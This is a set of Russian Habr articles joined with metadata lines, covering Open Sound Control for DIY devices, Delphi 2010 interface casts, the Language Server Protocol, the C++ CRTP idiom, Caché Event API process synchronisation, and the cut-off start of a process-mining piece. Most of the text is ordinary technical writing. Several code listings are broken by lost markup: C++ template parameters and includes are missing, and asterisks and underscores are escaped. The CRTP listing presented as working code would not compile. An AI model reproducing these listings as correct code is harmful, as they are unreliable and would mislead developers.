[Background saving is failing with a fork() error under Linux even if I've a lot of free RAM!](http://redis.io/topics/faq) | https://habr.com/ru/post/140893/ | null | ru | null |
# Управляем самодельными железяками по воздуху при помощи Open Sound Control
В этом материале я постараюсь рассказать, каким образом можно с телефона или планшета на iOS и Android удалённо управлять вашим самодельным устройством подключенным к сети. Любой, хоть сколь-нибудь знакомый с темой, к этому моменту уже решил, что речь пойдёт об очередном веб-интрефейсе к вашим Arduino и mbed’ам — спешу перебить ваши мысли — не пойдёт. Способ, о котором я хочу рассказать, быстр, дёшев, имеет готовую обратную связь, удобные контролы и обладает наглядностью, которой позавидует самый вылизанный веб-интерфейс.
Чтобы материал не показался оторванным от реальной жизни, я покажу, как мы 4 месяца назад проделали этот фокус с нашим Лайтпаком. Эта ситуация немного отличается от сферического сценария применения протокола Open Sound Control (дальше OSC) в вакууме, но тем не менее, является хорошим примером того, как он может быть эффективно использован в быстром прототипировании.
#### Задача
В наличии мы имели [open-source USB-устройтво подсветки](http://code.google.com/p/lightpack/), которое управляется кроссплатформенным софтом и имеет на стороне этого софта API для управления из внешних программ или плагинов. Мы хотели управлять этим устройством по сети с наших планшетов и смартфонов. Включать и выключать его, менять профили настроек, управлять яркостью, регулировать подсветку по каждому отдельному каналу и может быть даже запускать другие плагины.
В вашем случае ситуация может быть иной, не осложнённой посредником в виде полноценного ПК и какого-то API. Например, устройство на ARM/AVR периодически подключающееся к сети, или хотя бы Arduino c ethernet-шилдом, который 24/7 логирует для вас потребление электроэнергии за щитком в подъезде и шлёт данные прямиком в гуглодокумент.
Первое, что приходит в голову для решения такой задачи — веб-интерфейс. Казалось бы универсально: можно получить доступ с любой платформы. Но заставлять постоянно крутиться веб-сервер, каким бы микроскопическим он ни был, нам не хотелось. Да и хороших конструкторов веб-интерфейсов, которые бы имели подходящие нам контролы, мы сходу не нашли, рисовать свои не хотели и понимали, что результат всерьёз сможет работать лишь на десктопе и рядовой МК его не осилит в случае если в будущем нам придётся управлять standalone-устройством.
Однако, если к устройству можно подключиться через сеть (в нашем случае слать команды в API можно прямо через Telnet) можно было бы написать полноценное приложение для мобильной платформы, которое бы просто слало пакеты-сообщения, а сервер парсил их и таким образом управлял бы устройством. Не смотря на то, что мы за вечер собрали [небольшой прототип для Android](http://www.youtube.com/watch?v=EnvXaZcgNvA), который эксплуатировал этот способ, он всё-равно оставался “дорогим” даже в сравнении с веб-интерфесом.
Время шло, задача записалась где-то на подкорке и не вылезала оттуда до тех пор, пока я случайно не наткнулся на мобильное приложение TouchOSC, которое (практически) одинаково хорошо работает на iOS и Android.
После демонстрационных роликов и скриншотов пройти мимо не попробовав было попросту невозможно.)
#### Идея
Если коротко, то приложение [TouchOSC](http://hexler.net/software/touchosc) ([AppStore](http://itunes.apple.com/ru/app/touchosc/id288120394?mt=8), [Google Play](https://play.google.com/store/apps/details?id=net.hexler.touchosc&feature=search_result#?t=W251bGwsMSwxLDEsIm5ldC5oZXhsZXIudG91Y2hvc2MiXQ..)) реализует на ваших мобильных девайсах интерфейсы протоколов OSC и MIDI, с которыми привыкли работать все специализированные синтезаторы, редакторы звука, программы для диджеев, студий звукозаписи и пр. При этом TouchOSC даёт возможность использовать не только предустановленные раскладки контролов (layouts) кнопок-слайдеров-ярлычков, но и очень просто и быстро рисовать свои собственные в специальном редакторе. Всё это добро работает через wi-fi, но может работать и по проводам при наличии специальных адаптеров.
Типичная раскладка из состава предустановленных выглядит примерно так. Уровень сложности: «Корейцы», что, впрочем не мешает вам повторить её в редакторе раскладок.
Поверхностный анализ показал, что это приложение не единственное и по желанию для iOS можно воспользоваться iOSC, OSCemote, Mrmr OSC controller, Remokon for OSC (для Android даже перечислять не буду — их ещё больше). Этот же анализ показал, что сам протокол используется в большом числе программ и устройств, а самое главное для нас то, что библиотеки и обёртки с его реализацией существуют для многих языков программирования и платформ (вот, например, варианты для [Arduino](http://blog.makezine.com/2009/03/23/osc-library-for-arduino/) и [mbed](http://mbed.org/users/tobyspark/code/mbedOSC__spk/)). [Неполный список](http://opensoundcontrol.org/implementations) есть на официальном сайте.
У нас появилась возможность нетипичным образом применить новый, интересный, на первый взгляд, инструментарий. Впереди был свободный выходной день, поэтому со словами “вызов приянт” [timsat](https://habrahabr.ru/users/timsat/) на одну половину монитора развернул Гугл, а на вторую Notepad++.
#### Протокол
Open Sound Control — это пакетный протокол передачи данных между мультимедийными устройствами (в первую очередь электронными музыкальными инструментами/ синтезаторами и ПК), который в последнее время всё чаше используется как замена MIDI. Основновной фичей протокола остаётся работа через сеть, но [есть и другие особенности](http://archive.cnmat.berkeley.edu/OpenSoundControl/). Последняя версия спецификации [доступна](http://cnmat.berkeley.edu/publication/features_and_future_open_sound_control_version_1_1_nime) на сайте Центра Аудио-технологий университета Беркли (CNMAT).
Как я уже упоминал, на сегодняшний день типичное применение протокола — обеспечение интерфейса между устройствами ввода (синтезаторами, планшетами, игровыми контроллерами и пр.) и специализированными программами такими, как Super Collider, Traktor, REAPER и пр. OSC “из коробки” поддерживается такими потрясающими устройствами, как [Lemur](http://www.jazzmutant.com/lemur_overview.php) и [Monome](http://monome.org/).
Работая по сети протокол позволяет обмениваться данными в обоих направлениях, что позволяет реализовать обратную связь с устройством. Если приглядеться к скриншотам, то некоторые контролы-кнопки имеют дополнительный индикатор, который можно зажечь после того, как посланная ранее команда была исполнена сервером в реальности. Т.е. ваш планшет может отражать реальное состояние устройства, которым вы управляете (целевого). Если наловчиться, можно даже графики рисовать, но это для мусьё, которые знают толк в извращениях.
Вот пример сообщений, которыми обмениваются OSC-сервер и клиент:
```
/1/fader2 0.497120916843
/1/fader2 /z
/1/rotary1 0.579584240913
/1/rotary1 0.605171322823
/1/rotary1 /z
```
В данном случае у нас имеется точный идентификатор контрола и ***/1/fader2 0.497120916843*** означает, что со второго ползунка на первой вкладке (да, там можно использовать несколько вкладок в пределах одного лэйаута) к серверу приехало значение 0.49 и т.д. Z-message из этого примера можно включить по желанию и о нём я расскажу позже.
В примере с Лайтпаком нам было удобно пересылать на планшет названия профилей и переключаться между ними. Кроме этого, при старте сессии положения всех контролов на планшете автоматически выравниваются по реальным настройкам целевого устройства.
#### Реализация
Для работы с API Лайтпака мы используем [собственную обёртку](https://code.google.com/p/lightpack/wiki/pyLightpack) написанную на Python. Поэтому, а ещё потому, что для Питона существовала удовлетворяющая нас [OSC-библиотека](http://www.ixi-audio.net/content/body_backyard_python.html), мы решили написать небольшой скриптик, который фаткически являлся коннектором между API и сетевым устройством посылающим OSC-сообщения. Главные требования для такой реализации:
* Доступность портов клиента/сервера (в TouchOSC можно настроить свои)
* Клиент и сервер должны находиться в одной сети.
Хотя, если поковыряться с тунелями на вашем роутере, то второе ограничение можно обойти и управлять поилкой для вашего хомячка из офиса на другом конце города.
Для тех, кто, как и я, предпочитает картинки, наколхозил схему взаимодействия:
В нашем случае обмен между коннектором и API реализован через сокеты (это фича самого API), при этом, как видно в демо всё работает довольно быстро. Разумеется, в уравнении с хомяком на Ардуино, прямо за роутером будет находится само устройство с центром логики в виде микроконтроллера с прошивкой в которую уже включены библиотеки для работы с сетью и OSC.
Фактически для реализации, нам предстояло разобраться лишь с процессом инициализации обмена, обратной связью и преобразованием получаемых/передаваемых значений. Львиную долю кода занимает простой маппинг. Т.е. после того, как вы нарисуете лэйаут у вас на руках будет список адресов контролов (кнопочек, слайдеров, ярлычков и пр), каждый из которых нужно сопоставить с функцией API. Всё.
Честно говоря, не знаю, о чём тут можно написать подробнее. С точки зрения программирования задача примитивна. Исходный код этого “коннектора” по обыкновению [лежит у нас в репозитории](http://code.google.com/p/lightpack/source/browse/Software/apiexamples/liOSC/LiOSC.py) и доступен для всех.
Кстати, в TouchOSC реализованы некоторые довольно удобные дополнительные фичи: Во-первых, есть возможность использовать сообщение ***/ping*** которым обмениваются клиент с сервером для поддержки соединения даже когда сами данные не бегают. Во-вторых, поддерживается так называемый **z-message** — специальное сообщение, которое говорит серверу, что пользователь на клиенте наконец-то закончил возюкать пальцем по экрану (момент окончания ввода). Мы не использовали эту фичу, но не исключаю, что существуют ситуации в которых она окажется крайне полезной. В-третьих, как и большинство похожих приложений, TouchOSC умеет слать на сервер даные со встроенного в мобильный девайс **акселерометра**. Т.е. вы можете использовать свой смартфон или планшет как хитрое устройство ввода для ваших сетевых самоделок (крутить камерой на сервомашинках и пр.).
#### Подводные камни
Всё, что касается взаимодействия с приложением TouchOSC проходит гладко. Даже загрузка собственных лэйаутов осуществляется “по воздуху” нажатием одной кнопки. Единственный на сегодняшний день заметный недостаток — это невозможность загрузки собственных лэйаутов для версии под Android. В переписке с автором ему удалось убедить меня в том, что “уже вот-вот, готовлю к релизу”.
Библиотека для Питона оказалась не очень хорошо документирована, поэтому мы дольше инициализировали процесс обмена данными, чем реально программировали поведение лэйаута.
В целом, процесс создания такого машапа предельно интуитивен и не займёт много времени. Вот почему я бы посоветовал использовать OSC для быстрого прототипирования вместо полноценных клиент-серверных стеков с веб-интерфейсами. Тем более, если вы собираетесь презентовать этот прототип на мероприятии, или, скажем, заказчику, более наглядного варианта реализации сопровождающегося вау!-как-у-вас-такое-пропустили-в-эппстор вопросами я попросту не знаю.
***Итак, ещё раз: Если вам необходимо быстро и дёшево реализовать простой способ наглядного управления самодельным сетевым устройством с обратной связью, то протокол OSC — интересный выбор.*** | https://habr.com/ru/post/149838/ | null | ru | null |
# Преобразование ссылки на интерфейс для реализации класса в Delphi 2010
Не все нововведения в Delphi 2010 большие и заметные. Команда потратила массу времени реализуя множество дополнительных функциональных возможностей, исправлений и улучшений. Некоторые из них могут показаться незначительными по отдельности, но они не только в целом окзывают существенное влияние, но и значительно добавляют гармоничности продукту.
Одна из возможностей Delphi 2010, которая, как мне кажется, породит массу споров — это возможность привести интерфейсную ссылку назад к типу класса, реализующего этот интерфейс.
Давайте представим, что у нас есть интерфейс *IMyInterface* и класс *TMyClass*, который реализует этот интерфейс:
> `IMyInterface = interface
>
> ['{7AD04980-5869-4C93-AC29-C26134511554}']
>
> procedure Foo;
>
> end;
>
>
>
> TMyClass = class(TInterfacedObject, IMyInterface)
>
> procedure Foo;
>
> procedure Bar;
>
> end;`
 Дальше, давайте представим что нам передали переменную типа *IMyInterface*. Что случится если мы захотим вызвать *Bar*? Попытка просто привести интерфейсную ссылку к типу *TMyClass* приведёт к ошибке компилятора.
**Наиболее частое решение, которое я видел, это включить в интерфейс метод, который вернёт тип класса,** но оно изничтожает ценность помещения интерфейса на первое место, привязывая интерфейс к конкретной реализации. Более того, оно отвратительно.
*Такие приёмы теперь не нужны.*
В Delphi 2010 вы можете использовать оператор *is* для того, чтобы проверить реализован ли интерфейс определённым классом, и если это так, привести его к этому классу и использовать неинтерфейсные методы, свойства и т.п.
Более того, если вы попробуете привести интерфейсную ссылку к типу класса из которого она не была фактически получена, оператор as вызовет исключение *EInvalidCast*. При тех же условиях жесткое приведение типа вернет *nil*.
**Теперь этот код запускается успешно:**
> `if MyInterface is TMyClass then
>
> TMyClass(MyInterface).Bar;`
Разумеется, это нужно использовать с пониманием. Например, остаются в силе обычные предупреждения компилятора о сохранении интерфейса с подсчётом ссылок и ссылки на объект без подсчета ссылок в один и тот же экземпляр.
---
**Вы можете помочь в улучшении перевода.**
[translated.by/you/casting-an-interface-reference-to-the-implementing-class-in-delphi-2010/into-ru](http://translated.by/you/casting-an-interface-reference-to-the-implementing-class-in-delphi-2010/into-ru/)
Переводчики: [r3code](https://habrahabr.ru/users/r3code/), [debose](https://habrahabr.ru/users/debose/), [VesninAndrey](http://translated.by/VesninAndrey/) | https://habr.com/ru/post/85504/ | null | ru | null |
# Влияние протокола языкового сервера (LSP) на будущее IDE
*Перевод статьи* [*How the Language Server Protocol Affects the Future of IDEs*](https://www.freecodecamp.org/news/language-server-protocol-and-the-future-of-ide/)
*Автор оригинала* [*Mehul Mohan*](https://www.freecodecamp.org/news/author/mehulmpt/)
С момента своего появления Visual Studio Code в одиночку так сильно повлиял на экосистему разработчиков, что возврата назад уже не будет. Это общедоступный бесплатный инструмент с открытым исходным кодом и это очень мощный инструмент.
Но, благодаря VSCode, Microsoft в 2016 году дала жизнь еще одной суперзначимой вещи, которая менее известна. Это Language Server Protocol - Протокол языкового сервера.
#### Что такое Протокол языкового сервера?
Протокол языкового сервера (Language Server Protocol - LSP) - это способ общения с языковыми серверами (такой же как HTTP или FTP).
Языковые серверы - это специальные программы, работающие на обычных серверах. Они принимают мета-состояние редактора, в котором вы пишете код (например, текущая позиция курсора внутри редактора, токен над которым находится курсор), и возвращают набор действий или инструкций - какой токен должен быть следующим, что должно произойти, когда вы нажимаете CMD/Ctrl-клик на этом токене, и так далее.
Это взаимодействие происходит с помощью набора правил, заданных протоколом. Протокол языкового сервера можно рассматривать как урезанную модификацию HTTP взаимодействующую только по JSON-RPC протоколу.
#### Зачем нужен LSP?
Вы заметили, что в VSCode постоянно появляются изобретательные сообщения об ошибках и предложения автоподстановок? И как же легко, просто установив расширение из магазина VSCode, вы получаете всю мощь IntelliSense для совершенно разных языков, таких как C, Python, Java и т.д.? Все это происходит благодаря LSP.
Поддержка автозавершения и IntelliSense для HTML/CSS/JavaScript идет сразу вместе с VSCode (так же, как PyCharm идет сразу с поддержкой Python). Однако такая же поддержка других языков может быть реализована с помощью протокола LSP для этих языков.
#### Что такое JSON-RPC?
JSON-RPC означает удаленный вызов процедуры JSON (Remote Procedure Call). Это архитектура (подобно тому, как REST является архитектурой), но основная единица - это вызов процедуры, а не конечная точка API в случае REST.
Это простой пример для JSON-RPC:
```
// Request
curl -X POST —data '{
"jsonrpc": "2.0",
"method": "runThisFunction",
"params": [ "some-param", 2 ],
"id": 1
}'
// Response
{
"jsonrpc": "2.0",
"result": "codedamn",
"id": 1
}
```
В этом примере мы посылаем запрос в кодировке JSON в соответствии со спецификацией RPC. Если сервер настроен на корректную работу с JSON-RPC, то он выполнит метод `runThisFunction` с переданными параметрами и вернет результат в том виде, как показано выше.
#### LSP + JSON-RPC
LSP использует JSON-RPC для связи с удаленным сервером. Для этого используется следующий формат:
```
Content-Length: \r\n\r\n
```
Пример запроса:
```
Content-Length: 78
{"jsonrpc":"2.0","method":"runThisFunction","params":["some-param",2],"id":1}
```
LSP требует, чтобы вы передали заголовок `Content-Length`, за которым следуют два `CRLF` токена `\r\n`. Когда запущенные языковые серверы, такие как `ccls`, получат это сообщение, они ответят соответствующим сообщением:
Конечно, в приведенном выше примере видно, что `ccls` говорит о том, что не существует метода, названного `runThisFunction`. Но можно заметить, что удаленный сервер также отвечает заголовком `Content-Length` со спецификацией JSON-RPC.
#### Почему все это так важно?
С введением формального протокола LSP, Microsoft свела знаменитую проблему **M x N** к проблеме **M + N**.
**M** = Различные языки (C, C++, PHP, Python, Node, Swift, Go и т.д.).
**N** = Различные редакторы кода (VSCode, Eclipse, Notepad++, Sublime Text и т.д.).
Раньше для того, чтобы M редакторов поддерживали N языков, вам нужно было иметь M\*N решений. То есть каждый редактор кода должен был реализовать поддержку каждого языка самостоятельно.
С появлением LSP в редактор оставалось лишь внедрить поддержку протокола языкового сервера. После этого любой, кто делает языковой сервер (следуя стандартам LSP), может легко интегрироваться в редактор кода, при этом редактор никогда не будет "знать", с каким языком он работает!
#### Будущее IDE
По мере того, как языковые сервера реализуются для различных языков программирования, у разработчиков появляется возможность выбирать редактор на свой вкус. Без привязки к конкретному языку. Нет больше необходимости ограничивать себя, например только XCode для разработки на Swift или PyCharm для Python. И не только это, LSP можно внедрить прямо в JavaScript для поддержки IntelliSense в браузере! Настало потрясающее время для программистов! | https://habr.com/ru/post/555502/ | null | ru | null |
# CRTP: Пример на паттерне «Мост»
#### Для кого
Эта статья рассчитана на тех, кто не сталкивался с идиомой CRTP (Curiously recurring template pattern), но имеет представление о том, что такое шаблоны в C++. Специфических знаний или твердого владения программированием на шаблонах для понимания статьи вам не понадобится.
Пусть у нас будет такая **задачка:**
Из сети приходит файл в одном из форматов: **json** или **xml** и мы хотим их распарсить и получить какую-то информацию. Решение напрашивается само собой - использовать паттерн **мост** для разделения интерфейса парсера и двух его реализаций, по одной на формат файла. Так, после определения формата файла, мы можем передавать в функцию парсинга нужную нам реализацию в виде указателя.
#### Схематичный пример
```
// Функция, принимающая реализацию абстрактного интерфейса Parser в виде указателя
// и файл, возвращающая данные в обработанном виде
ParsedDataType parseData(Parser* parser, FileType file);
int main() {
FileType file = readFile();
Parser* impl = nullptr;
if (file.type() == JsonFile)
impl = new ParserJsonImpl();
else
impl = new ParserXmlImpl();
ParsedDataType parsedData = parserData(impl, file);
}
```
В таком классическом подходе есть несколько **минусов**:
* Интерфейс Parser обязан иметь виртуальные функции, а как мы знаем, ходить в таблицу виртуальных методов дорого.
* Интерфейс функции не так нагляден, как хотелось бы, если сравнивать, например, с функциональными языками с богатыми системами типов.
* Необходимость работы с указателями (возможность нулевого указателя, выделение памяти в куче и другие связанные с этим минусы).
Попробуем избавиться от некоторых недостатков средствами шаблонов C++
**CRTP** - сложный снаружи, простой внутри паттерн, позволяющий заменить механику абстрактных классов и переопределения поведения функций на другой способ предоставления интерфейса, который мы рассмотрим ниже.
Смысл подхода тот же - мы предоставляем интерфейс для классов-потомков, которые будут его реализовывать, только делаем это немного иначе, на шаблонах, статически.
#### Интерфейс парсера
```
template
struct ParserInterface {
ParsedData getData() {
return impl()->getDataImpl();
}
ParsedID getID() {
return impl()->getIDImpl();
}
private:
Implementation\* impl() {
return static\_cast(this);
}
};
```
В данном случае, интерфейс принимает реализацию, которая обязана быть его наследником для удачного приведения типов указателя на интерфейс к указателю на потомка в функции `Implementation* impl()`.
В каждой функции интерфейса мы вызываем метод класса-потомка, который должен реализовывать необходимый функционал для вызывающей функции. Таким образом, если функция не реализована в классе-наследнике, то у нас будет ошибка компиляции.
А вот как выглядят реализации наших парсеров
#### Имплементации
```
struct ParserJsonImpl : public ParserInterface {
friend class ParserInterface;
private:
ParsedData getDataImpl() {
std::cout << "ParserJsonImpl::getData()\n";
return ParsedData();
}
ParsedID getIDImpl() {
std::cout << "ParserJsonImpl::getID()\n";
return ParsedID;
}
};
struct ParserXmlImpl : public ParserInterface {
friend class ParserInterface;
private:
ParsedData getDataImpl() {
std::cout << "ParserXmlImpl::getData()\n";
return ParsedData();
}
ParsedID getIDImpl() {
std::cout << "ParserXmlImpl::getID()\n";
return ParsedID();
}
};
```
Каждая реализация наследуется от интерфейса, причем параметризует его собой. Фактически, каждая из них наследует разный тип, так как `ParserInterface`и `ParserInterface`это разные типы. Однако на этом пока не стоит заострять внимание. Суть лишь в том, что то, что мы передаем в угловых скобках как параметр шаблона интерфейса - это та реализация, к которой будет приводиться тип интерфейса с помощью`static_cast<>()` в нашем случае в функции `Implementation* impl()`. А реализация должна быть наследником интерфейса, иначе приведение не отработает. И такая логическая цепочка приводит нас именно к такому подходу.
**Рассмотрим структуру наших реализаций:**
1. Наследовались от интерфейса, параметризуя его собой - об этом выше.
2. Для того, чтобы функции-реализации не попали в интерфейс пользователя, объявляем их в блоке private.
3. Для того, чтобы класс интерфейса видел функции-реализации, объявляем его как **friend**.
Итак, паттерн почти готов, осталось только привести качественный пример его применения.
#### Функция парсинга файла
```
template
std::pair parseFile(ParserInterface parser) {
return std::make\_pair(parser.getData(), parser.getID());
}
```
Данный код наглядно показывает, что именно пимает функция. Параметр `ParserInterface parser` прямо просит передать в него реализацию интерфейса. Также мы не обязаны использовать указатели, так как `static_cast` для классов в одной иерархии, не имеющих виртуальных функций, легален.
#### Протестируем наш код:
```
int main() {
ParserJsonImpl jsonParser;
parseFile(jsonParser);
ParserXmlImpl xmlParser;
parseFile(xmlParser);
return 0;
}
```
Все работает как и ожидалось.
#### Вывод программы
```
ParserJsonImpl::getData()
ParserJsonImpl::getID()
ParserXmlImpl::getData()
ParserXmlImpl::getID()
```
**Итак**, мы ушли от работы с виртуальными функциями и выделения памяти в куче, а значит, немного увеличили скорость нашей программы. Обезопасили код тем, что дали возможность легального `static_cast` для приведения типов в иерархии. Также субъективно мы перешли к более наглядному интерфейсу пользователя функции. Однако, везде есть свои **минусы:**
* Для данного подхода применяются шаблоны. Для многих это может показаться сложнее, чем классическая реализация и до привыкания к шаблонному синтаксису будет вызывать дискомфорт, затмевающий все плюсы.
* Шаблоны достаточно сильно сковывают дальнейшее использование структур в данном случае: уже не будет так просто создать контейнер из потомков, наследующих интерфейс, так как фактически они наследуют разным классам, хотя возможность такая конечно же есть.
#### Эпилог
Данный подход применяется также для идиомы MixIn классов, которые "подмешивают" свое поведение классам наследникам. Один из таких классов - `std::enable_shared_from_this` - подмешивает функционал для получения указателя `shared_ptr` на себя самого.
В данной статье приведен самый простой пример для ознакомления с темой, дальше - больше.
#### Полный листинг рабочего кода
```
#include
template
struct ParserInterface {
int getData() {
return impl()->getDataImpl();
}
int getID() {
return impl()->getIDImpl();
}
private:
Implementation\* impl() {
return static\_cast(this);
}
};
struct ParserJsonImpl : public ParserInterface {
friend class ParserInterface;
private:
int getDataImpl() {
std::cout << "ParserJsonImpl::getData()\n";
return 0;
}
int getIDImpl() {
std::cout << "ParserJsonImpl::getID()\n";
return 0;
}
};
struct ParserXmlImpl : public ParserInterface {
int getDataImpl() {
std::cout << "ParserXmlImpl::getData()\n";
return 0;
}
int getIDImpl() {
std::cout << "ParserXmlImpl::getID()\n";
return 0;
}
};
template
std::pair parseFile(ParserInterface parser) {
auto result = std::make\_pair(parser.getData(), parser.getID());
return result;
}
int main() {
ParserJsonImpl jsonParser;
parseFile(jsonParser);
ParserXmlImpl xmlParser;
parseFile(xmlParser);
return 0;
}
``` | https://habr.com/ru/post/543098/ | null | ru | null |
# Синхронизация процессов при распараллеливании задачи средствами Caché Event API
Сегодня наличие многоядерных, многопроцессорных и многоузловых систем является уже нормой при обработке большого объёма данных.
Как же можно задействовать все эти вычислительные мощности? Ответ очевиден — распараллелив задачу.
Но тут же встаёт другой вопрос: а как синхронизировать сами подзадачи?
Сразу стоит отметить, что команда [JOB](http://docs.intersystems.com/cache20122/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_cjob) в версии СУБД Caché для Windows порождает не поток, а процесс. Поэтому правильнее было бы говорить не о многопоточном, а о многопроцессном приложении.
Отсюда же следует, что для Caché более важно в процессоре количество ядер, чем наличие технологии *Hyper-Threading*, что следует учитывать при выборе железа.
#### Этапы распараллеливания: **Map** и **Reduce**
Вначале кратко рассмотрим этапы распараллеливания задач на примере биометрической идентификации.
Допустим, есть база данных с биометрической информацией, например фотографиями.
И вы, имея фотографию какого-то человека, хотите его по этой базе идентифицировать (поиск «один-ко-многим»).
Для начала нужно определиться с тем что, куда и как мы будем «параллелить».
Это может зависеть от множества факторов: количества ядер, процессоров на одном узле, количества самих узлов в grid-системе (ECP), распределения самих данных по узлам и т.д.
Другими словами на данном этапе (*Map*) мы должны определиться со стратегией, по которой наша задача будет параллелиться. Ведь одна задача может быть распределена на множество более мелких задач, которые в свою очередь тоже могут быть распараллелены и так далее.
На следующем этапе (*Reduce*) мы должны собрать данные от наших подзадач, агрегировать их и выдать окончательный результат.
Применительно к нашему примеру стратегия *Map* может существенно варьироваться.
Например, от количества людей на исходной фотографии.
Если на фотографии только один человек, то каждому процессу можно поручить идентифицировать его в рамках своей части данных, которые могут быть, как размазаны по узлам, так и быть общими для всех узлов.
Если же на фотографии запечатлено сразу несколько людей, то каждому процессу можно поручить идентифицировать какого-то одного человека сразу по всем данным.
На этапе *Reduce*, получив список похожих лиц и коэффициент «похожести», нам остаётся лишь отсортировать его и выдать топ наиболее похожих.
#### Caché Event API
На этапе *Reduce* попутно с получением результатов от каждой из подзадач мы должны мочь определить какие из них уже выполнены, а какие нет, в чём нам и поможет класс [%SYSTEM.Event](http://docs.intersystems.com/cache20122/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25SYSTEM.Event).
В документации достаточно подробно описан механизм обработки очереди событий, поэтому останавливаться подробно не имеет смысла.
Отмечу лишь два основных метода:
1. *Wait*/*WaitMsg* — ожидание пробуждения ресурса с/без получения сообщения
2. *Signal* — отсылка сигнала на пробуждение ресурса с передачей сообщения
#### Пример приложения
* создадим три дочерних процесса, передав в каждый свои данные
* в каждом из процессов сымитируем бурную деятельность и вернём некий результат родительскому
* выведем полученные результаты на экран
Итак, создадим следующую программу:
> main() {
>
>
>
> ; удаляем временные данные с предыдущего раза
>
> kill ^tmp
>
>
>
> ; запускаем три подзадачи, они же процессы
>
> job job(1, "яблоко", 5)
>
> job job(2, "груша", 6)
>
> job job(3, "слива", 7)
>
>
>
> ; выводим результат на экран
>
> zwrite ^tmp
>
>
>
> }
>
>
>
> job(a,b,c)
>
>
>
> hang 1 ; имитируем бурную деятельность задержкой в 1 сек.
>
>
>
> set ^tmp(a)=b\_"-"\_(c\*2) // формируем результат
Запустим из терминала нашу программу:
`TEST>do ^main`
`TEST>`
В итоге мы не видим никакого результата, потому что запущенные процессы живут своей жизнью (выполняются асинхронно) и мы из основного процесса не дождались их завершения.
Давайте попробуем это исправить, вставив задержку, как показано ниже:
> main() {
>
>
>
> ; …
>
> job job(3, "слива", 7)
>
>
>
> hang 1
>
>
>
> ; выводим результат на экран
>
> ; …
>
>
>
> }
Ещё раз запустим:
`TEST>do ^main`
`^tmp(1)="яблоко-10"`
`^tmp(2)="груша-12"`
`^tmp(3)="слива-14"`
`TEST>`
Теперь результат получен.
Но реализовано это крайне неэффективно и негибко, поскольку мы заранее не знаем сколько времени будут выполняться подзадачи.
Можно воспользоваться проверкой наличия данных или блокировками с таймаутом. Но это тоже всё неоптимально.
В этой ситуации нас спасает встроенный механизм "**Event Queueing**".
Перепишем наше приложение, дополнительно назначив каждому процессу свой приоритет.
> main() {
>
>
>
> ; создаём три процесса со своим приоритетом
>
> job job(3, -7, "яблоко", 5)
>
> job job(2, 0, "груша", 6)
>
> job job(1, 8, "слива", 7)
>
>
>
> ; ожидаем сигнала пробуждения и
>
> ; выводим результат на экран
>
> write $list($system.Event.WaitMsg(), 2),!
>
> write $list($system.Event.WaitMsg(), 2),!
>
> write $list($system.Event.WaitMsg(), 2),!
>
>
>
> }
>
>
>
> job(x,delta,a,b)
>
>
>
> ; меняем приоритет текущему процессу на delta
>
> do $system.Util.SetPrio(delta)
>
>
>
> hang x ; имитируем бурную деятельность задержкой в x сек.
>
>
>
> // посылаем сигнал пробуждения родительскому процессу
>
> // одновременно с результатом
>
> do $system.Event.Signal($zparent,a\_"-"\_(b\*2))
Вывод результата:
`TEST>do ^main`
`слива-14`
`груша-12`
`яблоко-10`
`TEST>`
**Тот же самый код, но уже в виде класса**Class test.task
{
ClassMethod Test()
{
; запускаем асинхронно три процесса со своим приоритетом
job ..SubTask(3, -7, "яблоко", 5)
job ..SubTask(2, 0, "груша", 6)
job ..SubTask(1, 8, "слива", 7)
; ожидаем сигнала пробуждения и
; выводим результат на экран
write $list($system.Event.WaitMsg(), 2),!
write $list($system.Event.WaitMsg(), 2),!
write $list($system.Event.WaitMsg(), 2),!
}
ClassMethod SubTask(
x,
delta,
a,
b)
{
; меняем приоритет текущему процессу на delta
do $system.Util.SetPrio(delta)
hang x ; имитируем бурную деятельность задержкой в x сек.
// посылаем сигнал пробуждения родительскому процессу
// одновременно с результатом
do $system.Event.Signal($zparent,a\_"-"\_(b\*2))
}
}
Для запуска метода класса в терминале вызовите
do ##class(test.task).Test()
---
Некоторые полезные ссылки можно найти в [справочнике классов](http://docs.intersystems.com/cache20122/csp/documatic/%25CSP.Documatic.cls):
1. класс **%SYSTEM.CPU** — предоставляет информацию о процессорах
2. класс **%SYSTEM.Util** — содержит разные полезные методы.
Например: *NumberOfCPUs*, *SetBatch*, *SetPrio*
3. параметр [JobServers](http://docs.intersystems.com/cache20122/csp/docbook/DocBook.UI.Page.cls?KEY=RCPF_JobServers) — управляет размером пула процессов | https://habr.com/ru/post/167867/ | null | ru | null |
# Поиск оптимального пути для выявления отклонений в бизнес-процессе
Любая крупная компания представляет собой множество обособленных или взаимосвязанных процессов, которые решают задачи различной направленности. Как правило, любой процесс является сложным механизмом взаимодействия людей, сервисов или других компаний, от которых зависит конечный результат исполняемого процесса. Перерывы в поставках ресурсов, изъяны в сервисах и алгоритмах, длительные исполнение простых операций или их повторное выполнение и многие другие факторы приводят к дополнительным экономическим издержкам и накоплению негативного клиентского опыта. Таким образом, анализ процессов и устранение недостатков в них — одна из важных составляющих для успешного ведения бизнеса.
Для выявления отклонений в процессе в первую очередь необходимо ответить на вопрос – какая последовательность событий (путь процесса) является оптимальной и приводит к положительному результату с минимальным негативным опытом? Четкое понимание того, что из себя представляет оптимальное исполнение процесса, позволяет строить гипотезы и находить точки для его оптимизации.
В данной статье рассмотрим простой и интуитивно понятный способ определения оптимального пути процесса. Для анализа данных будем использовать язык программирования Python. Если интересно, код и пример анализа к статье можно найти в [git-репозитории](https://github.com/Daniil193/Optimal_Path). В качестве [исходных данных](https://data.4tu.nl/collections/_/5065541/1) будет использоваться процесс возмещения затрат на командировки, который выглядит следующим образом:
Таблица 1. Вид исходных данныхПеред началом анализа стоит убедиться, что данные включают в себя только журнал событий по обособленному процессу, на который не влияют сторонние факторы. Объясню, что имеется в виду на игрушечном примере. Процесс выдачи кредита – ипотечный, потребительский и другие, все типы относятся к одному процессу, но на условия оформления и одобрения для каждого из них влияют различные факторы, которые присущи только конкретному типу кредитования. И чтобы избежать мешанины и путаницы, такие данные необходимо анализировать отдельно, в разрезе отдельного типа. Самое простое, что мы можем сделать для нахождения оптимального пути – посчитать частоту для каждой уникальной последовательности и выбрать самую популярную:
```
ilog = Initial_Log(log, "ids", "events", "time", timeformat="%Y-%m-%d %H:%M:%S")
df_topchain = ilog.get_top_chain_sequences(10)
```
